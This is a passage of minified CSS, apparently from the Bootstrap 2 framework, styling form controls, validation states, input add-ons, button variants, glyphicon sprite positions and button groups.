input.span2,textarea.span2,.uneditable-input.span2{width:126px;}
input.span1,textarea.span1,.uneditable-input.span1{width:46px;}
.controls-row{*zoom:1;}.controls-row:before,.controls-row:after{display:table;content:"";line-height:0;}
.controls-row:after{clear:both;}
.controls-row [class*="span"],.row-fluid .controls-row [class*="span"]{float:left;}
.controls-row .checkbox[class*="span"],.controls-row .radio[class*="span"]{padding-top:5px;}
input[disabled],select[disabled],textarea[disabled],input[readonly],select[readonly],textarea[readonly]{cursor:not-allowed;background-color:#eeeeee;}
input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"][readonly],input[type="checkbox"][readonly]{background-color:transparent;}
.control-group.warning .control-label,.control-group.warning .help-block,.control-group.warning .help-inline{color:#c09853;}
.control-group.warning .checkbox,.control-group.warning .radio,.control-group.warning input,.control-group.warning select,.control-group.warning textarea{color:#c09853;}
.control-group.warning input,.control-group.warning select,.control-group.warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.warning input:focus,.control-group.warning select:focus,.control-group.warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #dbc59e;}
.control-group.warning .input-prepend .add-on,.control-group.warning .input-append .add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853;}
.control-group.error .control-label,.control-group.error .help-block,.control-group.error .help-inline{color:#b94a48;}
.control-group.error .checkbox,.control-group.error .radio,.control-group.error input,.control-group.error select,.control-group.error textarea{color:#b94a48;}
.control-group.error input,.control-group.error select,.control-group.error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.error input:focus,.control-group.error select:focus,.control-group.error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #d59392;}
.control-group.error .input-prepend .add-on,.control-group.error .input-append .add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48;}
.control-group.success .control-label,.control-group.success .help-block,.control-group.success .help-inline{color:#468847;}
.control-group.success .checkbox,.control-group.success .radio,.control-group.success input,.control-group.success select,.control-group.success textarea{color:#468847;}
.control-group.success input,.control-group.success select,.control-group.success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.success input:focus,.control-group.success select:focus,.control-group.success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7aba7b;}
.control-group.success .input-prepend .add-on,.control-group.success .input-append .add-on{color:#468847;background-color:#dff0d8;border-color:#468847;}
.control-group.info .control-label,.control-group.info .help-block,.control-group.info .help-inline{color:#3a87ad;}
.control-group.info .checkbox,.control-group.info .radio,.control-group.info input,.control-group.info select,.control-group.info textarea{color:#3a87ad;}
.control-group.info input,.control-group.info select,.control-group.info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);}.control-group.info input:focus,.control-group.info select:focus,.control-group.info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075),0 0 6px #7ab5d3;}
.control-group.info .input-prepend .add-on,.control-group.info .input-append .add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad;}
input:focus:invalid,textarea:focus:invalid,select:focus:invalid{color:#b94a48;border-color:#ee5f5b;}input:focus:invalid:focus,textarea:focus:invalid:focus,select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7;}
.form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1;}.form-actions:before,.form-actions:after{display:table;content:"";line-height:0;}
.form-actions:after{clear:both;}
.help-block,.help-inline{color:#595959;}
.help-block{display:block;margin-bottom:10px;}
.help-inline{display:inline-block;*display:inline;*zoom:1;vertical-align:middle;padding-left:5px;}
.input-append,.input-prepend{display:inline-block;margin-bottom:10px;vertical-align:middle;font-size:0;white-space:nowrap;}.input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input,.input-append .dropdown-menu,.input-prepend .dropdown-menu,.input-append .popover,.input-prepend .popover{font-size:14px;}
.input-append input,.input-prepend input,.input-append select,.input-prepend select,.input-append .uneditable-input,.input-prepend .uneditable-input{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}.input-append input:focus,.input-prepend input:focus,.input-append select:focus,.input-prepend select:focus,.input-append .uneditable-input:focus,.input-prepend .uneditable-input:focus{z-index:2;}
.input-append .add-on,.input-prepend .add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#eeeeee;border:1px solid #ccc;}
.input-append .add-on,.input-prepend .add-on,.input-append .btn,.input-prepend .btn,.input-append .btn-group>.dropdown-toggle,.input-prepend .btn-group>.dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.input-append .active,.input-prepend .active{background-color:#a9dba9;border-color:#46a546;}
.input-prepend .add-on,.input-prepend .btn{margin-right:-1px;}
.input-prepend .add-on:first-child,.input-prepend .btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;}
.input-append input,.input-append select,.input-append .uneditable-input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;}.input-append input+.btn-group .btn:last-child,.input-append select+.btn-group .btn:last-child,.input-append .uneditable-input+.btn-group .btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}
.input-append .add-on,.input-append .btn,.input-append .btn-group{margin-left:-1px;}
.input-append .add-on:last-child,.input-append .btn:last-child,.input-append .btn-group:last-child>.dropdown-toggle{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}
.input-prepend.input-append input,.input-prepend.input-append select,.input-prepend.input-append .uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}.input-prepend.input-append input+.btn-group .btn,.input-prepend.input-append select+.btn-group .btn,.input-prepend.input-append .uneditable-input+.btn-group .btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}
.input-prepend.input-append .add-on:first-child,.input-prepend.input-append .btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;}
.input-prepend.input-append .add-on:last-child,.input-prepend.input-append .btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;}
.input-prepend.input-append .btn-group:first-child{margin-left:0;}
input.search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;}
.form-search .input-append .search-query,.form-search .input-prepend .search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.form-search .input-append .search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px;}
.form-search .input-append .btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0;}
.form-search .input-prepend .search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0;}
.form-search .input-prepend .btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px;}
.form-search input,.form-inline input,.form-horizontal input,.form-search textarea,.form-inline textarea,.form-horizontal textarea,.form-search select,.form-inline select,.form-horizontal select,.form-search .help-inline,.form-inline .help-inline,.form-horizontal .help-inline,.form-search .uneditable-input,.form-inline .uneditable-input,.form-horizontal .uneditable-input,.form-search .input-prepend,.form-inline .input-prepend,.form-horizontal .input-prepend,.form-search .input-append,.form-inline .input-append,.form-horizontal .input-append{display:inline-block;*display:inline;*zoom:1;margin-bottom:0;vertical-align:middle;}
.form-search .hide,.form-inline .hide,.form-horizontal .hide{display:none;}
.form-search label,.form-inline label,.form-search .btn-group,.form-inline .btn-group{display:inline-block;}
.form-search .input-append,.form-inline .input-append,.form-search .input-prepend,.form-inline .input-prepend{margin-bottom:0;}
.form-search .radio,.form-search .checkbox,.form-inline .radio,.form-inline .checkbox{padding-left:0;margin-bottom:0;vertical-align:middle;}
.form-search .radio input[type="radio"],.form-search .checkbox input[type="checkbox"],.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0;}
.control-group{margin-bottom:10px;}
legend+.control-group{margin-top:20px;-webkit-margin-top-collapse:separate;}
.form-horizontal .control-group{margin-bottom:20px;*zoom:1;}.form-horizontal .control-group:before,.form-horizontal .control-group:after{display:table;content:"";line-height:0;}
.form-horizontal .control-group:after{clear:both;}
.form-horizontal .control-label{float:left;width:160px;padding-top:5px;text-align:right;}
.form-horizontal .controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0;}.form-horizontal .controls:first-child{*padding-left:180px;}
.form-horizontal .help-block{margin-bottom:0;}
.form-horizontal input+.help-block,.form-horizontal select+.help-block,.form-horizontal textarea+.help-block,.form-horizontal .uneditable-input+.help-block,.form-horizontal .input-prepend+.help-block,.form-horizontal .input-append+.help-block{margin-top:10px;}
.form-horizontal .form-actions{padding-left:180px;}
.btn{display:inline-block;*display:inline;*zoom:1;padding:4px 12px;margin-bottom:0;font-size:14px;line-height:20px;text-align:center;vertical-align:middle;cursor:pointer;color:#333333;text-shadow:0 1px 1px rgba(255, 255, 255, 0.75);background-color:#f5f5f5;background-image:-moz-linear-gradient(top, #ffffff, #e6e6e6);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6));background-image:-webkit-linear-gradient(top, #ffffff, #e6e6e6);background-image:-o-linear-gradient(top, #ffffff, #e6e6e6);background-image:linear-gradient(to bottom, #ffffff, #e6e6e6);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0);border-color:#e6e6e6 #e6e6e6 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#e6e6e6;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);border:1px solid #cccccc;*border:0;border-bottom-color:#b3b3b3;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*margin-left:.3em;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);}.btn:hover,.btn:focus,.btn:active,.btn.active,.btn.disabled,.btn[disabled]{color:#333333;background-color:#e6e6e6;*background-color:#d9d9d9;}
.btn:active,.btn.active{background-color:#cccccc \9;}
.btn:first-child{*margin-left:0;}
.btn:hover,.btn:focus{color:#333333;text-decoration:none;background-position:0 -15px;-webkit-transition:background-position 0.1s linear;-moz-transition:background-position 0.1s linear;-o-transition:background-position 0.1s linear;transition:background-position 0.1s linear;}
.btn:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px;}
.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);}
.btn.disabled,.btn[disabled]{cursor:default;background-image:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}
.btn-large{padding:11px 19px;font-size:17.5px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;}
.btn-large [class^="icon-"],.btn-large [class*=" icon-"]{margin-top:4px;}
.btn-small{padding:2px 10px;font-size:11.9px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
.btn-small [class^="icon-"],.btn-small [class*=" icon-"]{margin-top:0;}
.btn-mini [class^="icon-"],.btn-mini [class*=" icon-"]{margin-top:-1px;}
.btn-mini{padding:0 6px;font-size:10.5px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}
.btn-block{display:block;width:100%;padding-left:0;padding-right:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}
.btn-block+.btn-block{margin-top:5px;}
input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%;}
.btn-primary.active,.btn-warning.active,.btn-danger.active,.btn-success.active,.btn-info.active,.btn-inverse.active{color:rgba(255, 255, 255, 0.75);}
.btn-primary{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#006dcc;background-image:-moz-linear-gradient(top, #0088cc, #0044cc);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));background-image:-webkit-linear-gradient(top, #0088cc, #0044cc);background-image:-o-linear-gradient(top, #0088cc, #0044cc);background-image:linear-gradient(to bottom, #0088cc, #0044cc);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0);border-color:#0044cc #0044cc #002a80;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#0044cc;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.btn-primary.disabled,.btn-primary[disabled]{color:#ffffff;background-color:#0044cc;*background-color:#003bb3;}
.btn-primary:active,.btn-primary.active{background-color:#003399 \9;}
.btn-warning{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#faa732;background-image:-moz-linear-gradient(top, #fbb450, #f89406);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406));background-image:-webkit-linear-gradient(top, #fbb450, #f89406);background-image:-o-linear-gradient(top, #fbb450, #f89406);background-image:linear-gradient(to bottom, #fbb450, #f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0);border-color:#f89406 #f89406 #ad6704;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#f89406;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.btn-warning.disabled,.btn-warning[disabled]{color:#ffffff;background-color:#f89406;*background-color:#df8505;}
.btn-warning:active,.btn-warning.active{background-color:#c67605 \9;}
.btn-danger{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#da4f49;background-image:-moz-linear-gradient(top, #ee5f5b, #bd362f);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f));background-image:-webkit-linear-gradient(top, #ee5f5b, #bd362f);background-image:-o-linear-gradient(top, #ee5f5b, #bd362f);background-image:linear-gradient(to bottom, #ee5f5b, #bd362f);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffbd362f', GradientType=0);border-color:#bd362f #bd362f #802420;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#bd362f;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.btn-danger.disabled,.btn-danger[disabled]{color:#ffffff;background-color:#bd362f;*background-color:#a9302a;}
.btn-danger:active,.btn-danger.active{background-color:#942a25 \9;}
.btn-success{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#5bb75b;background-image:-moz-linear-gradient(top, #62c462, #51a351);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351));background-image:-webkit-linear-gradient(top, #62c462, #51a351);background-image:-o-linear-gradient(top, #62c462, #51a351);background-image:linear-gradient(to bottom, #62c462, #51a351);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0);border-color:#51a351 #51a351 #387038;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#51a351;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.btn-success.disabled,.btn-success[disabled]{color:#ffffff;background-color:#51a351;*background-color:#499249;}
.btn-success:active,.btn-success.active{background-color:#408140 \9;}
.btn-info{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#49afcd;background-image:-moz-linear-gradient(top, #5bc0de, #2f96b4);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4));background-image:-webkit-linear-gradient(top, #5bc0de, #2f96b4);background-image:-o-linear-gradient(top, #5bc0de, #2f96b4);background-image:linear-gradient(to bottom, #5bc0de, #2f96b4);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2f96b4', GradientType=0);border-color:#2f96b4 #2f96b4 #1f6377;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#2f96b4;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-info:hover,.btn-info:focus,.btn-info:active,.btn-info.active,.btn-info.disabled,.btn-info[disabled]{color:#ffffff;background-color:#2f96b4;*background-color:#2a85a0;}
.btn-info:active,.btn-info.active{background-color:#24748c \9;}
.btn-inverse{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#363636;background-image:-moz-linear-gradient(top, #444444, #222222);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222));background-image:-webkit-linear-gradient(top, #444444, #222222);background-image:-o-linear-gradient(top, #444444, #222222);background-image:linear-gradient(to bottom, #444444, #222222);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444', endColorstr='#ff222222', GradientType=0);border-color:#222222 #222222 #000000;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#222222;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);}.btn-inverse:hover,.btn-inverse:focus,.btn-inverse:active,.btn-inverse.active,.btn-inverse.disabled,.btn-inverse[disabled]{color:#ffffff;background-color:#222222;*background-color:#151515;}
.btn-inverse:active,.btn-inverse.active{background-color:#080808 \9;}
button.btn,input[type="submit"].btn{*padding-top:3px;*padding-bottom:3px;}button.btn::-moz-focus-inner,input[type="submit"].btn::-moz-focus-inner{padding:0;border:0;}
button.btn.btn-large,input[type="submit"].btn.btn-large{*padding-top:7px;*padding-bottom:7px;}
button.btn.btn-small,input[type="submit"].btn.btn-small{*padding-top:3px;*padding-bottom:3px;}
button.btn.btn-mini,input[type="submit"].btn.btn-mini{*padding-top:1px;*padding-bottom:1px;}
.btn-link,.btn-link:active,.btn-link[disabled]{background-color:transparent;background-image:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}
.btn-link{border-color:transparent;cursor:pointer;color:#0088cc;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.btn-link:hover,.btn-link:focus{color:#005580;text-decoration:underline;background-color:transparent;}
.btn-link[disabled]:hover,.btn-link[disabled]:focus{color:#333333;text-decoration:none;}
[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat;margin-top:1px;}
.icon-white,.nav-pills>.active>a>[class^="icon-"],.nav-pills>.active>a>[class*=" icon-"],.nav-list>.active>a>[class^="icon-"],.nav-list>.active>a>[class*=" icon-"],.navbar-inverse .nav>.active>a>[class^="icon-"],.navbar-inverse .nav>.active>a>[class*=" icon-"],.dropdown-menu>li>a:hover>[class^="icon-"],.dropdown-menu>li>a:focus>[class^="icon-"],.dropdown-menu>li>a:hover>[class*=" icon-"],.dropdown-menu>li>a:focus>[class*=" icon-"],.dropdown-menu>.active>a>[class^="icon-"],.dropdown-menu>.active>a>[class*=" icon-"],.dropdown-submenu:hover>a>[class^="icon-"],.dropdown-submenu:focus>a>[class^="icon-"],.dropdown-submenu:hover>a>[class*=" icon-"],.dropdown-submenu:focus>a>[class*=" icon-"]{background-image:url("../img/glyphicons-halflings-white.png");}
.icon-glass{background-position:0 0;}
.icon-music{background-position:-24px 0;}
.icon-search{background-position:-48px 0;}
.icon-envelope{background-position:-72px 0;}
.icon-heart{background-position:-96px 0;}
.icon-star{background-position:-120px 0;}
.icon-star-empty{background-position:-144px 0;}
.icon-user{background-position:-168px 0;}
.icon-film{background-position:-192px 0;}
.icon-th-large{background-position:-216px 0;}
.icon-th{background-position:-240px 0;}
.icon-th-list{background-position:-264px 0;}
.icon-ok{background-position:-288px 0;}
.icon-remove{background-position:-312px 0;}
.icon-zoom-in{background-position:-336px 0;}
.icon-zoom-out{background-position:-360px 0;}
.icon-off{background-position:-384px 0;}
.icon-signal{background-position:-408px 0;}
.icon-cog{background-position:-432px 0;}
.icon-trash{background-position:-456px 0;}
.icon-home{background-position:0 -24px;}
.icon-file{background-position:-24px -24px;}
.icon-time{background-position:-48px -24px;}
.icon-road{background-position:-72px -24px;}
.icon-download-alt{background-position:-96px -24px;}
.icon-download{background-position:-120px -24px;}
.icon-upload{background-position:-144px -24px;}
.icon-inbox{background-position:-168px -24px;}
.icon-play-circle{background-position:-192px -24px;}
.icon-repeat{background-position:-216px -24px;}
.icon-refresh{background-position:-240px -24px;}
.icon-list-alt{background-position:-264px -24px;}
.icon-lock{background-position:-287px -24px;}
.icon-flag{background-position:-312px -24px;}
.icon-headphones{background-position:-336px -24px;}
.icon-volume-off{background-position:-360px -24px;}
.icon-volume-down{background-position:-384px -24px;}
.icon-volume-up{background-position:-408px -24px;}
.icon-qrcode{background-position:-432px -24px;}
.icon-barcode{background-position:-456px -24px;}
.icon-tag{background-position:0 -48px;}
.icon-tags{background-position:-25px -48px;}
.icon-book{background-position:-48px -48px;}
.icon-bookmark{background-position:-72px -48px;}
.icon-print{background-position:-96px -48px;}
.icon-camera{background-position:-120px -48px;}
.icon-font{background-position:-144px -48px;}
.icon-bold{background-position:-167px -48px;}
.icon-italic{background-position:-192px -48px;}
.icon-text-height{background-position:-216px -48px;}
.icon-text-width{background-position:-240px -48px;}
.icon-align-left{background-position:-264px -48px;}
.icon-align-center{background-position:-288px -48px;}
.icon-align-right{background-position:-312px -48px;}
.icon-align-justify{background-position:-336px -48px;}
.icon-list{background-position:-360px -48px;}
.icon-indent-left{background-position:-384px -48px;}
.icon-indent-right{background-position:-408px -48px;}
.icon-facetime-video{background-position:-432px -48px;}
.icon-picture{background-position:-456px -48px;}
.icon-pencil{background-position:0 -72px;}
.icon-map-marker{background-position:-24px -72px;}
.icon-adjust{background-position:-48px -72px;}
.icon-tint{background-position:-72px -72px;}
.icon-edit{background-position:-96px -72px;}
.icon-share{background-position:-120px -72px;}
.icon-check{background-position:-144px -72px;}
.icon-move{background-position:-168px -72px;}
.icon-step-backward{background-position:-192px -72px;}
.icon-fast-backward{background-position:-216px -72px;}
.icon-backward{background-position:-240px -72px;}
.icon-play{background-position:-264px -72px;}
.icon-pause{background-position:-288px -72px;}
.icon-stop{background-position:-312px -72px;}
.icon-forward{background-position:-336px -72px;}
.icon-fast-forward{background-position:-360px -72px;}
.icon-step-forward{background-position:-384px -72px;}
.icon-eject{background-position:-408px -72px;}
.icon-chevron-left{background-position:-432px -72px;}
.icon-chevron-right{background-position:-456px -72px;}
.icon-plus-sign{background-position:0 -96px;}
.icon-minus-sign{background-position:-24px -96px;}
.icon-remove-sign{background-position:-48px -96px;}
.icon-ok-sign{background-position:-72px -96px;}
.icon-question-sign{background-position:-96px -96px;}
.icon-info-sign{background-position:-120px -96px;}
.icon-screenshot{background-position:-144px -96px;}
.icon-remove-circle{background-position:-168px -96px;}
.icon-ok-circle{background-position:-192px -96px;}
.icon-ban-circle{background-position:-216px -96px;}
.icon-arrow-left{background-position:-240px -96px;}
.icon-arrow-right{background-position:-264px -96px;}
.icon-arrow-up{background-position:-289px -96px;}
.icon-arrow-down{background-position:-312px -96px;}
.icon-share-alt{background-position:-336px -96px;}
.icon-resize-full{background-position:-360px -96px;}
.icon-resize-small{background-position:-384px -96px;}
.icon-plus{background-position:-408px -96px;}
.icon-minus{background-position:-433px -96px;}
.icon-asterisk{background-position:-456px -96px;}
.icon-exclamation-sign{background-position:0 -120px;}
.icon-gift{background-position:-24px -120px;}
.icon-leaf{background-position:-48px -120px;}
.icon-fire{background-position:-72px -120px;}
.icon-eye-open{background-position:-96px -120px;}
.icon-eye-close{background-position:-120px -120px;}
.icon-warning-sign{background-position:-144px -120px;}
.icon-plane{background-position:-168px -120px;}
.icon-calendar{background-position:-192px -120px;}
.icon-random{background-position:-216px -120px;width:16px;}
.icon-comment{background-position:-240px -120px;}
.icon-magnet{background-position:-264px -120px;}
.icon-chevron-up{background-position:-288px -120px;}
.icon-chevron-down{background-position:-313px -119px;}
.icon-retweet{background-position:-336px -120px;}
.icon-shopping-cart{background-position:-360px -120px;}
.icon-folder-close{background-position:-384px -120px;width:16px;}
.icon-folder-open{background-position:-408px -120px;width:16px;}
.icon-resize-vertical{background-position:-432px -119px;}
.icon-resize-horizontal{background-position:-456px -118px;}
.icon-hdd{background-position:0 -144px;}
.icon-bullhorn{background-position:-24px -144px;}
.icon-bell{background-position:-48px -144px;}
.icon-certificate{background-position:-72px -144px;}
.icon-thumbs-up{background-position:-96px -144px;}
.icon-thumbs-down{background-position:-120px -144px;}
.icon-hand-right{background-position:-144px -144px;}
.icon-hand-left{background-position:-168px -144px;}
.icon-hand-up{background-position:-192px -144px;}
.icon-hand-down{background-position:-216px -144px;}
.icon-circle-arrow-right{background-position:-240px -144px;}
.icon-circle-arrow-left{background-position:-264px -144px;}
.icon-circle-arrow-up{background-position:-288px -144px;}
.icon-circle-arrow-down{background-position:-312px -144px;}
.icon-globe{background-position:-336px -144px;}
.icon-wrench{background-position:-360px -144px;}
.icon-tasks{background-position:-384px -144px;}
.icon-filter{background-position:-408px -144px;}
.icon-briefcase{background-position:-432px -144px;}
.icon-fullscreen{background-position:-456px -144px;}
.btn-group{position:relative;display:inline-block;*display:inline;*zoom:1;font-size:0;vertical-align:middle;white-space:nowrap;*margin-left:.3em;}.btn-group:first-child{*margin-left:0;}
.btn-group+.btn-group{margin-left:5px;}
.btn-toolbar{font-size:0;margin-top:10px;margin-bottom:10px;}.btn-toolbar>.btn+.btn,.btn-toolbar>.btn-group+.btn,.btn-toolbar>.btn+.btn-group{margin-left:5px;}
.btn-group>.btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;}
.btn-group>.btn+.btn{margin-left:-1px;}
.btn-group>.btn,.btn-group>.dropdown-menu,.btn-group>.popover{font-size:14px;}
.btn-group>.btn-mini{font-size:10.5px;}
.btn-group>.btn-small{font-size:11.9px;}
.btn-group>.btn-large{font-size:17.5px;}
